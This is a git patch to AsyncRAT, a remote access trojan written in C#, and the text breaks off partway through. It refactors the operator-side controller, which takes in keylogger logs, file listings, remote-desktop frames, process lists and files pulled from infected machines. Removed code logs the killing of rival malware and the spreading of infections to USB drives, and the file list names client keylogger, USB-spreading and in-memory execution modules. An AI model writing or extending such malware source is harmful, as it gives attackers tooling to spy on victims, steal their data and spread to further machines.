From d5d60c0cb94ede121a0c93cd7ad15f7ffa87099b Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 30 Apr 2019 11:12:02 -0700 Subject: [PATCH] Update fixed server and client stabilty minor bugs fixes --- .../AsyncRAT-Sharp/AsyncRAT-Sharp.csproj | 9 +- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 12 +- .../AsyncRAT-Sharp/Forms/FormDownloadFile.cs | 5 +- .../AsyncRAT-Sharp/Forms/HandleKeylogger.cs | 36 ++ .../Handle Packet/HandleFileManager.cs | 157 +++++++ .../Handle Packet/HandleListView.cs | 51 +++ .../Handle Packet/HandleLogs.cs | 4 +- .../Handle Packet/HandlePacket.cs | 396 ------------------ .../Handle Packet/HandlePing.cs | 23 + .../Handle Packet/HandleProcessManager.cs | 45 ++ .../Handle Packet/HandleRemoteDesktop.cs | 57 +++ .../Handle Packet/HandleThumbnails.cs | 45 ++ .../AsyncRAT-Sharp/Handle Packet/Packet.cs | 105 +++++ AsyncRAT-C#/AsyncRAT-Sharp/Helper/Methods.cs | 1 - AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe | Bin 140800 -> 141312 bytes AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 8 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 4 +- AsyncRAT-C#/Client/Client.csproj | 16 +- .../Client/Handle Packet/FileManager.cs | 2 +- .../{BotKiller.cs => HandleBotKiller.cs} | 4 +- .../Handle Packet/HandleGetScreenShot.cs | 33 ++ .../{LimeLogger.cs => HandleLimeLogger.cs} | 2 +- .../{LimeUSB.cs => HandleLimeUSB.cs} | 5 +- ...cessManager.cs => HandleProcessManager.cs} | 6 +- ...emoteDesktop.cs => HandleRemoteDesktop.cs} | 2 +- .../Client/Handle Packet/HandleSendTo.cs | 56 +++ .../Client/Handle Packet/HandleUninstall.cs | 44 ++ .../{HandlePacket.cs => Packet.cs} | 142 ++----- .../Client/Handle Packet/SendToMemory.cs | 37 -- AsyncRAT-C#/Client/Settings.cs | 2 +- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 2 +- 32 files changed, 737 insertions(+), 576 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Forms/HandleKeylogger.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs delete mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleThumbnails.cs create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs rename AsyncRAT-C#/Client/Handle Packet/{BotKiller.cs => HandleBotKiller.cs} (97%) create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs rename AsyncRAT-C#/Client/Handle Packet/{LimeLogger.cs => HandleLimeLogger.cs} (99%) rename AsyncRAT-C#/Client/Handle Packet/{LimeUSB.cs => HandleLimeUSB.cs} (98%) rename AsyncRAT-C#/Client/Handle Packet/{ProcessManager.cs => HandleProcessManager.cs} (95%) rename AsyncRAT-C#/Client/Handle Packet/{RemoteDesktop.cs => HandleRemoteDesktop.cs} (98%) create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs rename AsyncRAT-C#/Client/Handle Packet/{HandlePacket.cs => Packet.cs} (58%) delete mode 100644 AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 4dd8991..01640e1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -116,8 +116,15 @@ FormDownloadFile.cs + + + - + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 355dd86..a54d217 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -76,7 +76,7 @@ namespace AsyncRAT_Sharp Settings.Port = portsFrm.textPorts.Text; Settings.Password = portsFrm.textPassword.Text; Settings.AES = new Aes256(Settings.Password); - + portsFrm.Dispose(); string[] ports = Settings.Port.Split(','); try { @@ -317,6 +317,7 @@ namespace AsyncRAT_Sharp } } formSend.Close(); + formSend.Dispose(); } catch (Exception ex) { @@ -407,7 +408,9 @@ namespace AsyncRAT_Sharp private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { - new FormBuilder().ShowDialog(); + FormBuilder formBuilder = new FormBuilder(); + formBuilder.ShowDialog(); + formBuilder.Dispose(); } private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e) @@ -557,7 +560,10 @@ namespace AsyncRAT_Sharp private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e) { - new FormAbout().ShowDialog(); + using (FormAbout formAbout = new FormAbout()) + { + formAbout.ShowDialog(); + } } private void Form1_Activated(object sender, EventArgs e) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs index 7e1849a..b46b8c2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs @@ -22,7 +22,7 @@ namespace AsyncRAT_Sharp.Forms public Form1 F { get; set; } internal Clients C { get; set; } public long dSize = 0; - private void timer1_Tick(object sender, EventArgs e) + private async void timer1_Tick(object sender, EventArgs e) { labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; if (C.BytesRecevied > dSize) @@ -30,6 +30,9 @@ namespace AsyncRAT_Sharp.Forms labelsize.Text = "Downloaded"; labelsize.ForeColor = Color.Green; timer1.Stop(); + await Task.Delay(1500); + this.Close(); + } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/HandleKeylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/HandleKeylogger.cs new file mode 100644 index 0000000..2b9cc6c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/HandleKeylogger.cs @@ -0,0 +1,36 @@ +using AsyncRAT_Sharp.Forms; +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Forms +{ + class HandleKeylogger + { + public HandleKeylogger(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + if (KL != null) + { + KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("isON").AsString = "false"; + client.BeginSend(msgpack.Encode2Bytes()); + } + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs new file mode 100644 index 0000000..21d11e5 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleFileManager.cs @@ -0,0 +1,157 @@ +using AsyncRAT_Sharp.Forms; +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public class HandleFileManager + { + public void FileManager(Clients client, MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "getDrivers": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) + { + FM.listView1.Items.Clear(); + string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < driver.Length; i++) + { + if (driver[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = driver[i]; + lv.ToolTipText = driver[i]; + if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; + else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; + else lv.ImageIndex = 1; + FM.listView1.Items.Add(lv); + } + i += 1; + } + } + })); + } + break; + } + + case "getPath": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) + { + FM.listView1.Items.Clear(); + FM.listView1.Groups.Clear(); + string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + ListViewGroup groupFolder = new ListViewGroup("Folders"); + FM.listView1.Groups.Add(groupFolder); + int numFolders = 0; + for (int i = 0; i < _folder.Length; i++) + { + if (_folder[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = _folder[i]; + lv.ToolTipText = _folder[i + 1]; + lv.Group = groupFolder; + lv.ImageIndex = 0; + FM.listView1.Items.Add(lv); + numFolders += 1; + } + i += 1; + + } + + string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + ListViewGroup groupFile = new ListViewGroup("Files"); + FM.listView1.Groups.Add(groupFile); + int numFiles = 0; + for (int i = 0; i < _file.Length; i++) + { + if (_file[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_file[i]); + lv.ToolTipText = _file[i + 1]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); + FM.imageList1.Images.Add(_file[i + 1], im); + lv.ImageKey = _file[i + 1]; + lv.Group = groupFile; + lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); + FM.listView1.Items.Add(lv); + numFiles += 1; + } + i += 3; + } + FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; + } + })); + } + break; + } + } + } + public void SocketDownload(Clients client, MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "pre": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + string file = unpack_msgpack.ForcePathObject("File").AsString; + string size = unpack_msgpack.ForcePathObject("Size").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) + { + SD.C = client; + SD.labelfile.Text = Path.GetFileName(file); + SD.dSize = Convert.ToInt64(size); + SD.timer1.Start(); + } + })); + } + break; + } + + case "save": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) + { + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); + + unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); + } + })); + } + break; + } + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs new file mode 100644 index 0000000..72bc822 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs @@ -0,0 +1,51 @@ +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using cGeoIp; +using System.Drawing; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public class HandleListView + { + public void AddToListview(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + client.LV.SubItems.Add(ipinf[1]); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); + client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; + client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; + Program.form1.listView1.Items.Insert(0, client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + })); + lock (Settings.Online) + { + Settings.Online.Add(client); + } + new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + } + } + + public void Received(Clients client) + { + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + client.LV.ForeColor = Color.Empty; + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs index db85655..c540635 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleLogs.cs @@ -8,9 +8,9 @@ using System.Drawing; namespace AsyncRAT_Sharp.Handle_Packet { - static class HandleLogs + public class HandleLogs { - public static void Addmsg(string Msg, Color color) + public void Addmsg(string Msg, Color color) { if (Program.form1.listView2.InvokeRequired) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs deleted file mode 100644 index 2cdd29f..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ /dev/null @@ -1,396 +0,0 @@ -using AsyncRAT_Sharp.Sockets; -using System.Windows.Forms; -using AsyncRAT_Sharp.MessagePack; -using System; -using System.Diagnostics; -using System.Drawing; -using AsyncRAT_Sharp.Forms; -using System.IO; -using cGeoIp; - -namespace AsyncRAT_Sharp.Handle_Packet -{ - class HandlePacket - { - private static readonly cGeoMain cNewGeoUse = new cGeoMain(); - public static void Read(object Obj) - { - try - { - object[] array = Obj as object[]; - byte[] data = (byte[])array[0]; - Clients client = (Clients)array[1]; - MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(data); - switch (unpack_msgpack.ForcePathObject("Packet").AsString) - { - case "ClientInfo": - if (Program.form1.listView1.InvokeRequired) - { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - client.LV = new ListViewItem(); - client.LV.Tag = client; - client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = cNewGeoUse.GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); - client.LV.SubItems.Add(ipinf[1]); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString); - client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString; - client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - Program.form1.listView1.BeginUpdate(); - Program.form1.listView1.Items.Insert(0, client.LV); - Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - Program.form1.listView1.EndUpdate(); - })); - lock (Settings.Online) - { - Settings.Online.Add(client); - } - HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); - } - break; - - case "Ping": - { - if (Program.form1.listView1.InvokeRequired) - { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - if (client.LV != null) - { - client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; - } - })); - } - } - break; - - case "Logs": - { - HandleLogs.Addmsg(unpack_msgpack.ForcePathObject("Message").AsString, Color.Black); - } - break; - - case "thumbnails": - { - if (Program.form1.listView3.InvokeRequired) - { - Program.form1.listView3.BeginInvoke((MethodInvoker)(() => - { - if (client.LV2 == null) - { - client.LV2 = new ListViewItem(); - client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - client.LV2.ToolTipText = client.ID; - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - client.LV2.ImageKey = client.ID; - Program.form1.listView3.BeginUpdate(); - Program.form1.listView3.Items.Insert(0,client.LV2); - Program.form1.listView3.EndUpdate(); - } - } - else - { - using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) - { - Program.form1.listView3.BeginUpdate(); - Program.form1.imageList1.Images.RemoveByKey(client.ID); - Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); - Program.form1.listView3.EndUpdate(); - } - } - })); - } - } - break; - - case "BotKiller": - { - HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange); - } - break; - - - case "usbSpread": - { - HandleLogs.Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple); - } - break; - - case "Received": - { - if (Program.form1.listView1.InvokeRequired) - { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - client.LV.ForeColor = Color.Empty; - })); - } - } - break; - - case "remoteDesktop": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; - try - { - if (RD != null) - { - if (RD.C2 == null) - { - RD.C2 = client; - RD.timer1.Start(); - } - byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { - RD.pictureBox1.Image = (Bitmap)decoded; - RD.RenderSW = Stopwatch.StartNew(); - } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) - { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); - } - } - else - { - client.Disconnected(); - return; - } - } - catch (Exception ex) { Debug.WriteLine(ex.Message); } - })); - } - } - break; - - case "processManager": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; - if (PM != null) - { - PM.listView1.Items.Clear(); - string msgUnpack = unpack_msgpack.ForcePathObject("Message").AsString; - string processLists = msgUnpack.ToString(); - string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < _NextProc.Length; i++) - { - if (_NextProc[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_NextProc[i]); - lv.SubItems.Add(_NextProc[i + 1]); - lv.ToolTipText = _NextProc[i]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); - PM.imageList1.Images.Add(_NextProc[i + 1], im); - lv.ImageKey = _NextProc[i + 1]; - PM.listView1.Items.Add(lv); - } - i += 2; - } - } - })); - } - } - break; - - - case "socketDownload": - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "pre": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - string file = unpack_msgpack.ForcePathObject("File").AsString; - string size = unpack_msgpack.ForcePathObject("Size").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - SD.C = client; - SD.labelfile.Text = Path.GetFileName(file); - SD.dSize = Convert.ToInt64(size); - SD.timer1.Start(); - } - })); - } - } - break; - - case "save": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); - - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); - } - })); - } - } - break; - } - break; - } - - case "keyLogger": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; - if (KL != null) - { - KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString()); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - client.BeginSend(msgpack.Encode2Bytes()); - } - })); - } - break; - } - - case "fileManager": - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "getDrivers": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.listView1.Items.Clear(); - string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < driver.Length; i++) - { - if (driver[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = driver[i]; - lv.ToolTipText = driver[i]; - if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; - else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; - else lv.ImageIndex = 1; - FM.listView1.Items.Add(lv); - } - i += 1; - } - } - })); - } - } - break; - - case "getPath": - { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.listView1.Items.Clear(); - FM.listView1.Groups.Clear(); - string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFolder = new ListViewGroup("Folders"); - FM.listView1.Groups.Add(groupFolder); - int numFolders = 0; - for (int i = 0; i < _folder.Length; i++) - { - if (_folder[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = _folder[i]; - lv.ToolTipText = _folder[i + 1]; - lv.Group = groupFolder; - lv.ImageIndex = 0; - FM.listView1.Items.Add(lv); - numFolders += 1; - } - i += 1; - - } - - string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFile = new ListViewGroup("Files"); - FM.listView1.Groups.Add(groupFile); - int numFiles = 0; - for (int i = 0; i < _file.Length; i++) - { - if (_file[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_file[i]); - lv.ToolTipText = _file[i + 1]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); - FM.imageList1.Images.Add(_file[i + 1], im); - lv.ImageKey = _file[i + 1]; - lv.Group = groupFile; - lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); - FM.listView1.Items.Add(lv); - numFiles += 1; - } - i += 3; - } - FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; - } - })); - } - } - break; - } - break; - } - } - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - } - //GC.Collect(); - //GC.WaitForPendingFinalizers(); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs new file mode 100644 index 0000000..1908554 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs @@ -0,0 +1,23 @@ +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public class HandlePing + { + public HandlePing(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + if (client.LV != null) + { + client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; + } + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs new file mode 100644 index 0000000..cf70661 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleProcessManager.cs @@ -0,0 +1,45 @@ +using AsyncRAT_Sharp.Forms; +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Handle_Packet +{ + public class HandleProcessManager + { + public void GetProcess(Clients client, MsgPack unpack_msgpack) + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (PM != null) + { + PM.listView1.Items.Clear(); + string processLists = unpack_msgpack.ForcePathObject("Message").AsString; + string[] _NextProc = processLists.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < _NextProc.Length; i++) + { + if (_NextProc[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_NextProc[i]); + lv.SubItems.Add(_NextProc[i + 1]); + lv.ToolTipText = _NextProc[i]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); + PM.imageList1.Images.Add(_NextProc[i + 1], im); + lv.ImageKey = _NextProc[i + 1]; + PM.listView1.Items.Add(lv); + } + i += 2; + } + } + })); + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs new file mode 100644 index 0000000..e426fbb --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleRemoteDesktop.cs @@ -0,0 +1,57 @@ +using AsyncRAT_Sharp.Forms; +using AsyncRAT_Sharp.MessagePack; +using AsyncRAT_Sharp.Sockets; +using System; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace 